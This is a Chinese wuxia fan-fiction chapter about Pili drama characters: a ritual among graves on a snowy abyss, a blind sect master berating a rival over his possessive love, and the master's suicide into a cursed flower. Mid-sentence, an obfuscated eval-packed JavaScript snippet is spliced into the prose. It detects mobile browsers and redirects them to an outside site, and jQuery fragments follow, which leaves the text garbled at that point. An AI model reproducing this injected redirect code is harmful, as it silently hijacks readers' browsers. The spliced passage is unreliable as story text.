“有些人觉得恐惧一定要去挑战它,跨越它。其实是不需要的。在我看来,唯一不需要克服的情绪就是恐惧。”
欢如梦道。
两人站在叫唤渊薮之下。
“当我们看见恐惧之后,总是想着清除它、疗愈它,用尽各种方式想让它消失。
而当我们越是提醒自己那是恐惧、不要落入头脑、不要被恐惧操控、不要因着恐惧而做选择,要释放、要清理、要内心充满爱,越是努力想要不再恐惧,我们就越聚焦在恐惧上,而恐惧只会吸引恐惧。
所以,了解恐惧,保护自我。就足够了。”
她对绮罗生伸出手。
“你闭上眼睛握着我的手吧,一会儿就到了。”
“你看问题的角度还是那么独特,观点也往往异于常人。有你开解,我心里轻松很多。哈,此行便有劳好友了。”
他稳妥的握住女子的手,既没有过重,也没有过轻,礼貌而克制。登顶的过程中,绮罗生只觉得自己被一团生机给团团围住了,好似看到了一片温暖盎然的绿意。
直到双脚稳稳站在渊薮之上,他才发觉渊薮开始落雪了,寒气以肉眼可见的形式从山顶晕染而下,白霜由深至浅。
走过一片颓败的建筑,他们来到位于渊顶中央的祭坛,围绕着祭坛,立着大大小小的坟冢。
这些坟墓的主人,都是当年惨遭外七修虐杀的受害者。墓碑依山而建、渐次排开,粗略一数有近百座之多。密密麻麻的墓碑前又开满了山茶花,远远望去是一片纯白花海。
意琦行已经等待多时了,他静静的置身于花海深处。
“你们来了。”
欢如梦微微欠身,神态庄重地沿着宽大的台阶拾级而上,越是接近祭坛就越心生亲切。
雪停时分,她已经站在祭坛中央。欢如梦的心境立刻就安定了下来,就像是冰川下的湖水,纯净的没有半点杂质。
女子手持一面缀有铃铛的手鼓,手鼓上的彩绸随风飘舞。
她双目紧闭,似是在酝酿着什么。
直到铃音打破了静默。
策梦候收到一封信,让他即刻前往留妖山城。
刚踏入此地,策梦候第一眼就瞧见了妖绘天华脖子上那一道醒目的剑气留红。
“妖绘天华!你……这究竟是怎么一回事?”
妖绘天华讲述了事情的经过。
因武林近日武道七修与奇花八部排名之争,七修传人律己秋上门拜访,就此事与妖绘天华进行一番交谈后,在回去的路上遭到不明人士的杀害。
意琦行因师侄意外之死而迁怒,打上门来,妖绘天华不服,不肯承认奇花八部在武道七修之下,交手不敌之下被意琦行留招红炉点雪。
若想解招,除非妖绘天华公开承认武道七修是武林四惊鸿之首。
“君有何打算?”
策梦候问。
“就这样吧。我已经把狡童送走了,这里只留下空城一座。”
妖绘天华回道。
策梦候难以置信,道:“到此为止?非君平日之作风。”
“不然呢?”妖绘天华道:“你能找到欢如梦?”
策梦候闭了闭眼,似是无奈:“唉,欢妹与绮罗生俱去,其所之往,吾尚未得其消息也。”
妖绘天华的表情平静极了。
“也罢,意气之争,就莫要再多连累一个人了。我有我的坚持,但何必让她夹在中间两边为难?况且此事只涉及我一人,你定然不会出手相助。”
一时间,策梦候的神情惊疑不定了起来。
妖绘天华掀起眼皮,幽幽道:
“这贼船上了,就不好下吧?你如今的处境无异于与虎谋皮。”
策梦候道:
“……君何以知之。”
妖绘天华冷笑:
“你从来都不简单。”
策梦候沉默。
“呵,你居然问我如何看出?不如先照照镜子看看你自己!你对欢如梦,是细节不够伤人,还是敷衍不够明显?你问我是如何看出的?策梦候,我只是瞎了,又不是傻了!”
手杖狠狠敲在的地面上激起一层尘土,妖绘天华指着他的鼻子骂道:
“她那么好的姑娘,就是闭着眼睛找,都能找到比你更真心的人。”
许久,策梦候才轻轻的笑了一声:
“你说得对。”
整座山城里弥漫着一种令人窒息的死寂,仿佛连空气都凝固了。那些执念如同微弱的烛光,在黑暗中闪烁。
“妖绘天华,我对她,是一见钟情。 ”
策梦候缓缓开口。
他说这话时几乎透不过气来,只听见呼吸和心跳声在耳边回响。
“早年我因遭遇仇家追杀,倒在她的门前,幸得她出手相救,才得以保全一条性命。其实从见到她的第一眼开始,我的眼里,就好像再也看不到其他人了。”
“只有她会如此无私,不图任何利益的救下卑劣求生的我。”
“可我时常在想,如果当初倒在欲花天坛的人不是我,是另一个梦花部后人,如梦会救吗?如果她救了,那么等我再出现的时候,她还会注意到我吗?”
策梦候心中瞬间升起一阵明悟:
“我此生,非她不可。”
“可她对我不是。”
妖绘天华虽目不能视,但他落在策梦侯身上的目光却极具穿透力和压迫感,无法视而不见。
“你若还有半分自知之明就该离她远一点。”
策梦候闭上眼睛苦笑:“我放不下。”
“你们的婚约被你闹得人尽皆知。”妖绘天华意味深长道:“近年来倒是不曾听你提起过了。”
“因为我怕她后悔。”
“倘若日后,有幸与她结为连理,她再遇到真命天子。那时候我该怎么办?是把她关起来,锁起来,还是……杀了她?”
顶着妖绘天华杀气腾腾的眼神,策梦候继续道:
“所以我一直都很矛盾。越想保护,越想摧毁。我可以容忍她对我冷漠,却不能容忍别人惦记她分毫。”
“口口声声说不容他人觊觎她的人是你,随随便便的把她抛下的人也是你,你到底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12328714|131097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把她当作什么?”
妖绘天华质问。
“于我,她绝非工具。”策梦候道:“凡言皆可不信,惟此乃吾肺腑之言也。“
妖绘天华怒道:
“巧言令色,满口谎言。你要我如何相信?你已经一条路走到黑了,那她呢?倘若有人发现了她是你的软肋……”
“我不会让她有事,就赌上我这条命。”策梦候当即沉下脸,咬牙切齿道:“我自己做的选择,我从不后悔。计不如人是我该受的后果,我受了便是。可如果把她牵扯上……那是我无能!”
这番话说罢之后,两人又是一阵冗长的沉默。
“她面上的花绘好看吗?”
妖绘天华问。
策梦候愣了一下,想也不想道:“甚美,然不及她半分也。”
“这样啊,可惜……“妖绘天华仰起头,一遍遍抚摸着画上的情蛮花。“你离开吧。我死之后,这里留给如梦丫头。”
策梦侯转身,盲者的声音从身后传来:
“你还会再想伤害她吗?”
“再也不会了。”
留妖山城遭袭那一日,心一狠把她扔下,后来,心中的悔恨差点杀死他。如今回想,只觉得一阵阵的后怕。
明知道她就是这样阴晴不定的脾气,作甚么跟她赌气呢?既然跟妖绘天华和绮罗生聊得来,那便随她去就是了。
“好作文言?积习难改?”
“哈,她不耐烦听。”
“真该让她看看你这副嫉妒别人的表情。”
“她没少看,汝可曾见她在乎过哪怕一回?”
“那也是你自作自受,自食恶果。”
“唉……悔之晚矣。”
一阵劲风从他身后袭来,策梦候侧过身,一转头便伸手接住了此物。
“策梦候,吾知晓你必是暗自领会着八部花艺之妙,这是吾留妖山城百年所传之妖绘莳花谱,望你真能将八品神通悟成,为奇花八部彻底打败武道七修。”
妖绘天华道。
“吾何德何能,能受此大礼。”
他假意推辞道。
“省去那些客套的虚伪之词。”妖绘天华冷哼:“你离开吧,我要独处。”
策梦候欠身,道:
“策梦候必不负你之所托。请。”
四下无人,妖绘天华扯了扯嘴角,露出了一个意味不明的笑容。
“八品神通?呵……”
“吾就算是死,也是死在情蛮花之下,意琦行,谁说你吾之间就分出胜负了?且走着瞧,你终究还是输了奇花八部一着。”
妖绘天华一步步走向情蛮花。
忽然,似是想到了什么,他脚步一顿又停了下来,将随身携带的手杖靠在了桌边。
“既然你这么想要,那就留给你了。”
妖绘天华笑道。
这句话很轻,不知是说给谁听。
花绘绽放出黑色光华,仿佛冥冥中注定花主会走到今日这一步。妖绘天华挺起腰杆,毅然投身于情蛮花之中。
肉身吞噬殆尽,唯见一地碎裳。